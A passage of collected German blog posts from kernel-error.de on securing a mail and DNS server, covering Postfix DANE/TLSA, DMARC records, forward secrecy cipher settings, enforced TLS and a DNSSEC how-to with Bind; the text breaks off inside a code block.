Seit Januar diesen Jahres beherscht nun Postfix ebenfalls die Möglichkeit TLSA Records zu prüfen. Da mache ich natürlich mit!
Zuerst muss die Postfix Version natürlich passen. Kleiner 2.11 sollte es nicht sein, die Postfixversion zeigt sich schnell per:
```generic
$ postconf -d | grep mail_version
mail_version = 2.11.0
```
Mein Mailserver bietet natürlich schon immer die Möglichkeit einer verschlüsselten Verbindung an. Daher gehe ich einfach mal nicht näher darauf ein, wie man sein Postfix dazu überredet. Ganz kurz... Aktivieren lässt sich die Unterstützung für DANE / TLSA mit folgenden drei Konfigurationsänderungen:
```generic
$ postconf -e "smtpd_use_tls = yes"
$ postconf -e "smtp_dns_support_level = dnssec"
$ postconf -e "smtp_tls_security_level = dane"
```
Keine Sorge, alles bietet einen Failback an, so leidet die Kommunikation mit _nicht_ DANE fähigen Systemen nicht.
Zum erstellen des TLSA-RECORDS muss selbstverständlich nicht unbedingt der von mir in früheren Beiträgen erwähnte Hash-slinger eingesetzt werden. Openssl macht dieses fast genau so schnell.
```generic
$ openssl x509 -in postfix.pem -outform DER | openssl sha256
(stdin)= 94c8e1bdfff4f6d3fec0c4e2f26293d78870650bfd3534e77b93cdaccb77eb95
```
Aus diesem Hash erstelle ich nun den TLSA RECORD. Für die E-Mail Kommunikation ist es mir lieb, wenn der TTL (Lebensdauer) des Records nicht ZU lange ist. Bei einem Zertifikatswechsel dauert es sonst unnötig lange bis der neue Record gültig ist. Daher setzte ich ihn auf 1 Stunde.
```generic
_25._tcp.smtp.kernel-error.de. 1H IN TLSA 3 1 1 8cb0fc6c527506a053f4f14c8464bebbd6dede2738d11468dd953d7d6a3021f1
_465._tcp.smtp.kernel-error.de. 1H IN TLSA 3 1 1 8cb0fc6c527506a053f4f14c8464bebbd6dede2738d11468dd953d7d6a3021f1
```
Wie zu sehen ist biete ich den TLSA RECORD direkt für Port TCP 25 und TCP 465 an. Schnell nur noch testen ob der TLSA RECORD mit dig auch sauber abgefragt werden kann.
```generic
$ dig _25._tcp.smtp.kernel-error.de +dnssec +m
; > DiG 9.8.4-rpz2+rl005.12-P1 > _25._tcp.smtp.kernel-error.de +dnssec +m
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28381
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;_25._tcp.smtp.kernel-error.de. IN A
;; AUTHORITY SECTION:
kernel-error.de. 86400 IN SOA ns1.kernel-error.de. root.kernel-error.de. (
20140102708 ; serial
10000 ; refresh (2 hours 46 minutes 40 seconds)
1800 ; retry (30 minutes)
604800 ; expire (1 week)
86400 ; minimum (1 day)
)
kernel-error.de. 86400 IN RRSIG SOA 7 2 86400 20150511054702 (
20140516054702 38150 kernel-error.de.
QXUpVl3myVAUGn/ox8J5aihAySHdWpojyPuhV5QKgDUy
qYRPyryWyBoGG+x5cGs0JpPBqQA3lRovAM4JFvC3hRmO
FU3fVTiYlvAJK7WsTSgPJLYpXrBnS+NN0O2UW3W+Ru1K
2P5dj+BWNO1wqXs+VU7WpMPwq/ESlK88hxXE1Gc= )
_25._tcp.smtp.kernel-error.de. 86400 IN NSEC _465._tcp.smtp.kernel-error.de. RRSIG NSEC TLSA
_25._tcp.smtp.kernel-error.de. 86400 IN RRSIG NSEC 7 5 86400 20150511054702 (
20140516054702 38150 kernel-error.de.
ToC8GtXFenieGjA32eoHACNGCg+tFr05vz6w9yiHYrDj
rHGBabc7MMjqUWNsf7L059YhR7dLoAPqhy2ZThWqFbRD
ZsfPQSgHIazEuKvOE7i2Ee/znU2d57X8nVkp8scUKZ1R
kGdK5DUDlAcYn0YdpjYaUTn2STdbM9IDcdrASPE= )
;; Query time: 0 msec
;; SERVER: ::1#53(::1)
;; WHEN: Mo Jan 27 08:50:36 2014
;; MSG SIZE rcvd: 506
```
Schon lässt sich im Postfix Logfile erkennen ob Verbindungen getraut wird oder nicht.
```generic
Jan 27 08:32:02 mailserver postfix/smtp[3779]: Verified TLS connection established to mx02.example.de[99.88.12.167]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jan 27 08:33:19 mailserver postfix/smtp[3779]: Untrusted TLS connection established to smtp2.example.de[2001:333:6661:99::34]:25: TLSv1 with cipher ADH-AES256-SHA (256/256 bits)
```
Wenn man mich fragt, ist die Kombination aus DNSSEC, DANE / TLSA deutlich besser als dieses hässliche EmiG. EmiG benötigt eine unnötig teure Zertifizierung durch den TüV, dieses kann sich nicht jeder leisten. Damit ist dieses "sichere" Verfahren fast nur durch Unternehmen zu realisieren die genug Kohle haben. Kleinere werden damit einfach abgehängt. Verfahren die Sicherheit nur für "reiche" zur Verfüfung stellen sollte man aus meiner Überzeugnung nicht unterstützen.
Eine weitere schnelle und einfache Möglichkeit seinen TLSA-RECORD des Mailservers / Postfix zu testen ist posttls-finger:
```generic
$ posttls-finger -t30 -T180 -c -L verbose,summary kernel-error.de
posttls-finger: initializing the client-side TLS engine
posttls-finger: using DANE RR: _25._tcp.smtp.kernel-error.de IN TLSA 1 0 1 94:C8:E1:BD:FF:F4:F6:D3:FE:C0:C4:E2:F2:62:93:D7:88:70:65:0B:FD:35:34:E7:7B:93:CD:AC:CB:77:EB:95
posttls-finger: setting up TLS connection to smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: TLS cipher list "aNULL:-aNULL:ALL:!EXPORT:!LOW:+RC4:@STRENGTH:!aNULL"
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Server CA
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Server CA
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: depth=0 verify=1 subject=/description=y0xkuso3gx7t8h0o/C=DE/ST=Nordrhein-Westfalen/L=Sprockh\xF6vel/O=Sebastian Van De Meer/CN=smtp.kernel-error.de/emailAddress=postmaster@kernel-error.de
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: depth=0 matched end entity certificate sha256 digest 94:C8:E1:BD:FF:F4:F6:D3:FE:C0:C4:E2:F2:62:93:D7:88:70:65:0B:FD:35:34:E7:7B:93:CD:AC:CB:77:EB:95
posttls-finger: smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: subject_CN=smtp.kernel-error.de, issuer_CN=StartCom Class 2 Primary Intermediate Server CA, fingerprint=E1:92:93:D4:CA:E9:5D:44:B5:CC:A4:15:1F:12:A6:E0:B5:C2:97:56, pkey_fingerprint=E9:84:8E:51:47:99:90:53:0B:2C:2E:1E:70:6E:DE:CA:A4:65:8A:C5
posttls-finger: Verified TLS connection established to smtp.kernel-error.de[2a02:c200:0:10:3:0:4297:1]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
```
So bei Fragen, einfach fragen :-)
---
**09-08-2014 Update**
Ich habe zur Auswertung den Mailgraph etwas angepasst ( [mailgraph Graphen um DANE erweitern ](https://www.kernel-error.de/2014/08/09/mailgraph-graphen-um-dane-erweitern/)). Dieser wirft mir nun den unten stehenden Graphen für ausgehende Verbindungen raus.
---
## 26. DMARC: Domain-Based Message Authentication, Reporting & Conformance (DMARC) einrichten
**Veröffentlicht:** 2013-11-30
**Permalink:** https://www.kernel-error.de/2013/11/30/dmarc-domain-based-message-authentication-reporting-conformance/
**Description:** DMARC einrichten — Domain-based Message Authentication für E-Mail-Sicherheit mit Reporting und Conformance konfigurieren.
Habt ihr eigentlich schon etwas von [DMARC (Domain-based Message Authentication, Reporting & Conformance)](http://de.wikipedia.org/wiki/Dmarc) gehört? Nein... Dann dann haben wir das ja nun aufgeholt :-P
Im Grunde "erweitert" **DMARC** die beiden Systeme [SPF (Sender Policy Framework)](https://www.kernel-error.de/2010/03/17/spf/) und [DKIM (DomainKeys Identified Mail)](https://www.kernel-error.de/2010/03/11/dkim/). Warum und wie?!? Nun ja, beide Techniken sind erstmal ~nicht schlecht~. Setzt man sie ausgehend ein, fehlen dem Admin denn noch etwas die "Rückmeldungen". OK, wenn etwas schief geht, jammern die User. Setzt man sie eingehend ein, würde es hin und wieder helfen wenn der "Absender" einem etwas genauer sagen würde wie denn nun mit seinen Nachrichten umgegangen werden soll.
Hier springt nun DMAC -in die Bresche- (woher kommt eigentlich diese Redensart?). DMARC wird, wie bei SPF oder DKMI möglich, einfach als TXT-RECORD in der DNS Zone versenkt. Dort finden sich nun Informationen für den empfangenden Mailserver. Zum Beispiel kann angegeben werden wie viel Prozent der eingehenden E-Mails überhaupt gefiltert werden soll* (pct)*, wie hart bei Fehlern im SPF *(aspf)* und DKIM* (adkim)* umgegangen werden soll, wie mit E-Mails der Haupt- *(p)* oder Subdomänen* (sp)* umgegangen werden soll und was tierisch geil für den Admin des Absendenden E-Mail Systems ist.... An welche E-Mail Adresse ein forensischer (das Wort trifft es, ich finde es aber doof :-P) Bericht* (ruf)* und wohin eine tägliche Zusammenfassung* (rua)* gesendet werden soll.
Diese Berichte schlagen normalerweise als E-Mail mit einem komprimierten ZIP-File im Gebäck auf. In diesem ZIP-File steckt dann ein XML-File (*würk* XML.. für die Auswertung denn noch geil). Diese kann man nun auswerten. So kann der Admin des absendenden E-Mail Systems sehen wie gut oder schlecht seine Bemühungen greifen. Er wird schnell über Probleme informiert und kann erkennen ob und wie stark seine Domain gerade -missbraucht- wird.
Eine E-Mail mit ZIP-File lässt sich sehr einfach automatisch auspacken und die XML Datei wird dann von irgendeinem Stück Software gefressen. Heraus kommt ein täglicher Bericht für den Admin. Ok, man könnte es schön bunt machen, dann kann man es auch einer Krawatte zum klicken geben :-)
Klar muss der Empfänger es unterstützen, sonst bringt das alles nix. Aber jeder Absender, der bereits SPF und DKIM einsetzt, kann seinen DMARC Record schon mal erstellen, hm?
Ich probiere eine kurze Erklärung des DMARC TXT RECORDS an meinem...
```generic
_dmarc.kernel-error.de IN TXT "v=DMARC1; pct=100; rua=mailto:postmaster@kernel-error.de; ruf=mailto:postmaster@kernel-error.de; adkim=s; aspf=s; p=quarantine; sp=quarantine"
```
*_dmarc.* ==> ist halt der "Bezeichner"
*kernel-error.de* ==> japp die Domain
*IN TXT* ==> Internet und Text
*""* ==> Dazwischen ist der Text
*;* ==> Trennt die Optionen
*v=DMARC1* ==> Protokollversion, hier also 1
*pct=100* ==> 100% meiner vermeintlichen Nachrichten sollen gefiltert werden
*rua=mailto:postmaster@kernel-error.de* ==> Zusammenfassung geht an postmaster@kernel-error.de
*ruf=...* ==> der forensiche Bericht geht ebenfalls an den Postmaster
*adkim=s* ==> DKIM soll nicht relaxed *(r)* sondern strict *(s)* ausgewertet werden
*aspf=s* ==> auch strict
*p=quarantine* ==> Fehlgeschlagenes der Hauptdomäne sollen als SPAM markiert werden.
*sp=quarantine* ==> bei der Subdomäne auch.
Noch eine Kleinigkeit. Wenn man mehrere Domains betreut und die Berichte an eine zentrale E-Mail Adresse senden möchte dann muss man noch etwas beachten. Denn sollen die Berichte an eine E-Mail Adresse außerhalb der Domain des DMARC RECORDS gesendet werden, dann muss dieses in der Empfängerdomäne „erlaubt“ werden. Dieses geht über einen gesonderten TXT RECORD.
```generic
kernel-error.com._report._dmarc.kernel-error.de TXT "v=DMARC1"
```
Wenn man diesen RECORD als Beispiel nimmt, würde er in der Zone *kernel-error.DE* stehen. Damit würden die Berichte aus der Zone* kernel-error.COM* an die Adresse* xyz@kernel-error.de* zugestellt werden können.
Noch Fragen? Na dann fragen :-D
---
UPDATE 12.12.2013
Ok ok... da die Frage jetzt ein paar mal aufgekommen ist, wie ein solcher Report aussieht.... Hier ein Beispiel: [>> klick <<](https://www.kernel-error.de/download/google-kernel.xml)
Zur besseren Ansicht kann ich auch hier nur wieder auf [dmarcian.com](https://dmarcian.com/dmarc-xml/) verlinken. Hier gibt es einen XML du Human Konverter :-)
Frage beantwortet?
---
## 27. Postfix und Dovecot mit Perfect Forward Secrecy (PFS)
**Veröffentlicht:** 2014-02-15
**Permalink:** https://www.kernel-error.de/2014/02/15/postfix-und-dovecot-mit-perfect-forward-secrecy-pfs/
**Description:** Postfix und Dovecot mit Perfect Forward Secrecy — PFS für verschlüsselte Mail-Kommunikation mit Ephemeral-Diffie-Hellman.
Um mit meinem privaten Mailsystem nicht nach zu stehen, habe ich mir heute (warum erst heute?!?) die „Mühe“ gemacht auf diesem PFS (Perfect Forward Secrecy) bei Postfix und Dovecot zu aktivieren.
Test gefällig? OK, openssl hilft natürlich wie immer:
Für Postfix:
```generic
$ openssl s_client -starttls smtp -connect smtp.kernel-error.de:25
$ openssl s_client -connect smtp.kernel-error.de:465
```
Für Dovecot:
```generic
$ openssl s_client -starttls imap -connect imap.kernel-error.de:143
$ openssl s_client -connect imap.kernel-error.de:993
```
Findet sich in der Ausgabe etwas wie:
```generic
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
```
Oder auch etwas wie:
```generic
Protocol : TLSv1.2
Cipher : DHE-RSA-AES256-GCM-SHA384
```
Dann ist alles wunderbar. Wie es zu aktivieren ist muss ich nicht weiter beschreiben, denn hier hat Heinleine wie so oft sehr gute Arbeit geleistet: [http://www.heinlein-support.de/blog/security/perfect-forward-secrecy-pfs-fur-postfix-und-dovecot/](http://www.heinlein-support.de/blog/security/perfect-forward-secrecy-pfs-fur-postfix-und-dovecot/)
Wenn ich das Thema nun in den Logfiles etwas beobachte sehe ich das der Android 4.3 / 4.4 standard Mailclient wohl gerne auf RC4 setzt: *TLSv1 with cipher RC4-MD5 (128/128 bits)*
Mein K9-Mail hingegen macht ganz brav: *TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)*
K-Mail auch...: *TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)*
Nun bleibt noch zu überlegen ob ich die möglichen Cipher etwas genauer „vorschreibe“, ähnlich wie schon beim Apache.... Ich überlege mal :-) Fertig überlegt, wie im Update zu sehen ist!
---
**U-P-D-A-T-E**
Da fällst du ja vom Glauben ab... Schreibe ich vor das für IMAP tatsächlich nur *DHE-RSA-AES256-GCM-SHA384* eingesetzt werden soll, dann macht dieses jeder krümelige Client welchem ich es zum Test zum Fressen gegeben habe. Nur einer nicht... Kommt ihr nie drauf! Das aktuell neuste und beste was Microsoft hinsichtlich E-Mail Client zu bieten hat. Genau **Microsoft Office Outlook 2013**. Der kann es einfach nicht O_o Ist das wirklich noch **Zufall**? Also das Outlook 2013 dieses nicht bringt und somit die große Möglichkeit besteht den verschlüsselten Datenstrom später mal zu entschlüsseln? Wie auch immer, ich habe nun meine Konfiguration für Dovecot um diese Zeile erweitert:
```generic
ssl_cipher_list = ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4
```
Damit ist es fürs Erste vertretbar... Oh ja, wenn ich schon dabei bin Microsoft hier etwas in Frage zu stellen. Dann muss ich natürlich bei **Google** gleich weiter machen! Denn der standard Mailclient, selbst beim neusten Android, sucht sich doch extrem häufig einen der schwächsten Chiper aus die angeboten werden. Sicher um CPU und oder Akku zu sparen, oder doch wieder nur **Zufall**?
Oh ja, Postfix sollte ja nicht nachstehen, daher wurde auch dort von mir etwas mehr vorgeschrieben. Folgende Zeilen erweitern nun die main.cf:
```generic
smtpd_tls_mandatory_protocols = SSLv3, TLSv1
smtpd_tls_mandatory_ciphers = ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4
```
Mal schauen welche Probleme sich mit dieser Konfiguration nun auftun :-)
---
## 28. E-Mails nur noch mit TLS: Transportverschlüsselung erzwingen
**Veröffentlicht:** 2019-04-10
**Permalink:** https://www.kernel-error.de/2019/04/10/keine-e-mail-mehr-ohne-tls-transportverschluesselung/
**Description:** Erfahre, wie du TLS-Transportverschlüsselung für E-Mails erzwingst, um die Sicherheit deiner Kommunikation zu gewährleisten. Praktische Anleitung für...
Eigentlich wollte ich erst im März 2020 so weit gehen und alle E-Mails abweisen, die nicht über einer brauchbare Transportverschlüsselung kommen... Nun sagt mir mein Monitoring, dass 97,32 % der E-Mails über eine Transportverschlüsselung eingeliefert werden. Fast alle wichtigen Großen bekommen es hin. Hier und da kann es ein Onlinebesteller oder eine Kiste aus Asien noch nicht, das ist dann aber für mich ok.
Da ich bei mir ebenfalls [MTA-STS](https://www.kernel-error.de/2019/03/25/postfix-mta-sts-resolver-fuer-freebsd-mit-logfile/) einsetze, Will ich ja absichtlich zu TLS zwingen. Mal sehen wie anstrengend die letzten knapp 3% E-Mails nun wirklich werden. Dieses betrifft nun nicht nur mich selbst sondern ebenfalls einige andere Nutzer meines des Mailsystems. Der Kreis ist dafür überschaubar und Sicherheit ist allen wichtiger als eine nicht bekommene E-Mail aus Asien. Zumindest in der Theorie ;-)
Wobei inzwischen die Benutzer meist eine "bessere" Transportverschlüsselung nutzen als einige Mailserver zur S2S Kommunikation.....
Vor kurzem bin ich in Kontakt mit jemandem von mail.de gekommen. Haben insg. einen wirklich sehr freundlichen und kompetenten Endruck bei mir hinterlassen. Wenn ich mal wieder um einen Rat zu Mailhosting vefragt werde, wird [mail.de](https://mail.de/) ganz vorne mit dabei in der Liste sein :-)
Warum jetzt [mail.de](https://mail.de/)? Nun sie haben ebenfalls vor einiger Zeit [TLSv1.3 eingeführt und dazu einen übersichtlicehen Graphen erstellt](https://mail.de/blog/2018-11-mailde-fuehrt-neues-verschluesselungsprotokoll-tls-13-ein/). Die meisten Clients spielen also auch dort schon >=TLSv1.2.
Bei Webseiten hat sich eine brauchbare Transportverschlüsselung inzwischen viel Weiter durchgesetzt. Ich denke daran waren der Druck der Browserhersteller sowie die einfachen Testmöglichkeiten durch Anbieter wie [Qualys](https://www.ssllabs.com/) stark beteiligt. Hätten nun also ein paar große internationale E-Mail Provider (?Google/Microsoft?) den Schneid ebenfalls eine Transportverschlüsselung zu erzwingen würde hier sicher schnell Bewegung in die Geschichte kommen. Da nicht mal Google bisher ihre [MTA-STS Policy "scharf"](https://aykevl.nl/apps/mta-sts/) geschaltet hat, wird es wohl so schnell nichts.
---
## 29. DNSSEC & DANE: TLS-Zertifikate mit TLSA-Records absichern
**Veröffentlicht:** 2013-08-10
**Permalink:** https://www.kernel-error.de/2013/08/10/dnssec-und-dns-based-authentication-of-named-entities-dane/
**Description:** So schützt du deine TLS-Zertifikate mit DNSSEC und DANE. Anleitung zur Erstellung und Prüfung von TLSA-Records für sichere Verbindungen.
Schon einige Zeit ist meine Domain per DNSSEC geschützt und der Zugriff ist ebenfalls per SSL/TLS möglich. Mit DANE (DNS-based Authentication of Named Entities) ist es jetzt möglich die eingesetzten X.509 Zertifikate bzw. deren Checksummen mit dem DNS „abzugleichen“.
Die Idee dahinter ist, das löchrige System der CAs (certificate authority oder certification authority) etwas sicherer zu machen / zu ersetzten.
Unterstützt ein Client, wie zum Beispiel ein Browser, DANE so kann er beim verschlüsselten Verbindungsaufbau mit einem Server (z.B.: Webserver). Prüfen ob die Checksumme des TLS Zertifikates mit der in der DNS Zone hinterlegten übereinstimmt. So kann man diesem Zertifikat „trauen“, selbst wenn es sich um ein selbst signiertes Zertifikat handelt oder das Root-Zertifikat der CA nicht in seinem Client enthalten ist.
Selbstverständlich wird damit nicht sichergestellt das die angegebene Person oder Organisation wirklich hinter dem Zertifikat steht. Hier hängt es dann wieder an der CA, der muss man zum einen selbst vertrauen und zum anderen sollte sie dafür sorgen dass niemand an ihre Zertifikate kommt. Nichts ist 100%tig sicher! Man kann nur versuchen dem absoluten Vertrauen so nahe wie möglich zu kommen. Daher ist es sehr angenehem wenn verschiedene Mechanismen ineinandergreifen und sich nach Möglichkeit auch gegenseitig prüfen.
Dabei sollte der Benutzer aber mit so wenig technischen Dingen gequält werden wie nur möglich. DNSSEC, DANE und TLS ist aus meiner Sicht im Moment eine recht gute Kombination. Wenn alles sauber im Client implementiert ist und die Admins ihre Arbeit gemacht haben, bekommt der Benutzer nur die Information: "Was du da gerade machst ist möglicherweise nicht der Server mit dem du sprechen wolltest. Lass es lieber!"
Klar steht und fällt am Ende alles mit dem Benutzer. Hier müssen die Benutzer geschult und aufgeklährt werden. Den technischen Hintergrund muss aber kein Anwender verstehen.
Ich stehe ja auf so etwas. Daher habe ich es direkt bei mir implementiert.
Bind kann ab der Version 9.8.3 mit TLSA RECORDS umgehen:
#### SCHNIPP ####
Feature Changes
* BIND now recognizes the TLSA resource record type, created to
support IETF DANE (DNS-based Authentication of Named Entities)
[RT #28989]
#### SCHNAPP ####
Damit es einfacher wird bietet die Internet Society ([http://www.internetsociety.org/deploy360/resources/hashslinger-a-tool-for-creating-tlsa-records-for-dane/](http://www.internetsociety.org/deploy360/resources/hashslinger-a-tool-for-creating-tlsa-records-for-dane/)) ein Tool mit dem Namen Hash-slinger an. Dieses Tool unterstützt beim erstellen der TLSA-RECORDS und natürlich bei der Prüfung der DNS-RECORDS.
Für meine Hauptdomain findet sich folgender RECORD in der Zone:
```generic
_443._tcp.www.kernel-error.de. IN TLSA 3 0 1 a3218154fbaa792afba91075ea36b5ea6623d46766a10ff1d06e7de461f933f7
```
Geprüft wird dieser korrekt wie folgt, einmal für die IPv4 und einmal für die IPv6 Adresse:
```generic
$ ./tlsa -d -v www.kernel-error.de
Received the following record for name _443._tcp.www.kernel-error.de.:
Usage: 3 (End-Entity)
Selector: 0 (Certificate)
Matching Type: 1 (SHA-256)
Certificate for Association: a3218154fbaa792afba91075ea36b5ea6623d46766a10ff1d06e7de461f933f7
This record is valid (well-formed).
Attempting to verify the record with the TLS service...
Got the following IP: 212.23.142.146
SUCCESS (usage 3): The certificate offered by the server matches the TLSA record
The matched certificate has Subject: /description=3G0bqBiLJsg0y2nv/C=DE/ST=Nordrhein-Westfalen/L=Sprockh\xF6vel/O=Sebastian Van De Meer/CN=www.kernel-error.de/emailAddress=postmaster@kernel-error.de
Got the following IP: 2001:7d8:8001:100::dead:beef
SUCCESS (usage 3): The certificate offered by the server matches the TLSA record
The matched certificate has Subject: /description=3G0bqBiLJsg0y2nv/C=DE/ST=Nordrhein-Westfalen/L=Sprockh\xF6vel/O=Sebastian Van De Meer/CN=www.kernel-error.de/emailAddress=postmaster@kernel-error.de
```
Die gängigen Browser lassen sich bereits mit Plugins nachrüsten.
Spannende Infos zum Thema DANE gibt es hier:
[http://www.internetsociety.org/articles/dane-taking-tls-authentication-next-level-using-dnssec](http://www.internetsociety.org/articles/dane-taking-tls-authentication-next-level-using-dnssec)
Wer nur schnell und einfach die TLSA Records testen möchte, kann dieses hier tun: [http://check.sidnlabs.nl/dane/](http://check.sidnlabs.nl/dane/)
---
U-P-D-A-T-E 28.01.2014
Wie sich das Thema zusammen mit Postfix nutzen lässt um auch etwas gegen dieses hässliche EmiG (E-Mail made in Germany) zu tun ist hier zu finden: https://www.kernel-error.de/2014/01/28/postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec/
---
U-P-D-A-T-E 09.08.2014
Ich habe den Mailgraph erweitert ( [mailgraph Graphen um DANE erweitern ](https://www.kernel-error.de/2014/08/09/mailgraph-graphen-um-dane-erweitern/)), damit er mir den unten stehenden Graphen erzeugt.
---
## 30. DNSSEC HowTo: Sicherheit für dein DNS-System
**Veröffentlicht:** 2010-11-17
**Permalink:** https://www.kernel-error.de/2010/11/17/mein-kleines-dnssec-howto/
**Description:** Lerne, wie du DNSSEC für dein DNS-System einrichtest, um die Sicherheit zu erhöhen und DNS-Spoofing zu verhindern. Ein einfaches HowTo für Administratoren.
Die Domain Name System Security Extensions (DNSSEC) sind eine Erweiterung des DNS, mit der Authentizität und Datenintegrität von DNS-Transaktionen gewährleistet werden. Ein DNS-Teilnehmer kann damit verifizieren, dass die durch den Server, mit dem er kommuniziert, gelieferten Zonendaten auch tatsächlich identisch mit denen sind, die der für die Zone autorisierte und die Zone signierende Server ausliefert. DNSSEC wurde als Mittel gegen Cache-Poisoning entwickelt, Serverauthentifizierung findet nicht statt. Wer jetzt noch genauere Informationen dazu haben möchte beginnt am besten [>>hier<<](https://de.wikipedia.org/wiki/DNSSEC)....
Was mich beim ersten Lesen eines Artikels zu DNSSEC etwas durcheinander gebracht hat, war dieses Umhergewerfe mit den Begriffen: KSK, ZSK, SEP, DNSKEY, RRSIG und DS... Daher versuche ich das mal kurz verständlich zu erklären, den im Grunde ist das alles total einfach!
Der *KSK (Key signing Key)* hat grob gesehen nur eine einzige Aufgabe. Er muss den *ZSK (Zone signing Key)* unterschreiben. Der KSK ist nämlich immer in der übergeordneten Zone hinterlegt (von *kernel-error.org* ist die übergeordnete Zone z.B.: *org*). Der ZSK hat auch nur eine Aufgabe, das unterschreiben der Zone.....
Es beginnt also alles mit dem KSK der Rootzone. Die Rootzone ist *"."*! Mal angenommen wir wollen nach *www.kernel-error.org* fragen. Dann geht es ganz oben los. Die Nameserver der Rootzone wissen welche Nameserver für die einzelnen *TLDs (Top level domains)* zuständig sind. Die Nameserver der TLDs wissen welche Nameserver für die einzelnen Unterdomains (z.B.: *kernel-error.org*) zuständig sind. Der Nameserver der Unterdomain kennt nun selbst die Adresse für *www.kernel-error.org* oder kann zumindest sagen welcher Nameserver für die Unterdomain *"www"* zuständig ist. Will ein Angreifer nun also dafür sorgen dass man mit seinem Browser beim Aufruf von *www.kernel-error.org* nicht auf meinem Webserver landet, sondern auf seinem (bei Banken hätte das ja was, oder?), dann hat er zwei *einfache* Möglichkeiten.
- Er antwortet auf die Anfrage des Clients (wer ist denn der für die Domain kernel-error.org zuständige Nameserver) mit seinem eigenen Nameserver. Somit fragt der Client immer den Nameserver des Angreifers, welcher mit den *falschen* Adressen antwortet.
- Er antwortet auf jede Anfrage des Clients (mit gefälschter Absenderkennung) schneller als der eigentlich zuständige DNS-Server und kann so falsche Informationen übermitteln.
Mal angenommen man würde nun auf DNSSEC setzten und jeder Nameserver würde seine Zone signieren. Woher wüsste man dann, dass die Antwort korrekt ist? Angreifer können genau so signierte Antworten schicken. Genau, man muss die Gültigkeit der Signatur prüfen. Genau dafür ist nun der KSK. Der KSK signiert die Zone und zusätzlich wird der KSK jeweils in der übergeordneten Zone bekannt gemacht. Die übergeordnete Zone wird mit dem ZSK signiert, welcher mit dem KSK der übergeordneten Zone unterschrieben wurde, dieser KSK ist natürlich wieder der Zone darüber bekannt.... Man kann also Stück für Stück nach oben gehen. Am Ende steht dann der KSK der Root-Zone. Die folgende Zeichnung soll das ganze noch verständlicher darstellen.
[[Bild: DNSSEC Vertrauenskette](https://www.kernel-error.de/wp-content/uploads/2010/11/vertrauenskette.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/vertrauenskette.jpg)
Sollte es jemandem denn noch nicht klar sein, helfe ich gerne weiter. [>>Einfach fragen<<](https://www.kernel-error.de/kontakt/)
Es sind leider noch lange nicht alle TLDs signiert bzw. haben DS-Records in den Root-Servern. Eine ganz nette Liste über bereits signierte TLDs findet sich hier: [https://www.tldwithdnssec.se/](https://www.tldwithdnssec.se/)
Unsere DENIC hat ein .de testbed eingerichtet. Die Jungs wollen Anfang 2011 aber auch loslegen. [Infos zum DENIC DNSSEC testbed gibt es hier.](https://www.kernel-error.de/wp-content/uploads/2010/11/vorgehensweise.txt)
Möchte man seine Domain per DNSSEC schützen muss natürlich als erstes der für die Domain zuständige DNS-Server DNSSEC unterstützen und es muss aktiviert sein. Klingt logisch, oder? Ich bin, unter anderem, ein Freund von Bind. Daher beschränke ich mich hier einfach mal auf diesen.... Ab ISC Bind 9.6.2 sind alle Tools und Funktionen wohl soweit ausgereift dass man es im Zusammenhang mit DNSSEC sauber nutzen kann!
DNSSEC schaltet man recht einfach im options-Block ein:
```generic
options {
........
dnssec-enable yes;
dnssec-validation yes;
........
};
```
Recursive DNS-Server benötigen natürlich noch den KSK der Rootzone. Diesen muss man als vertrauenswürdig einstufen. Am einfachsten bekommt man diesen mit folgendem Aufruf:
```generic
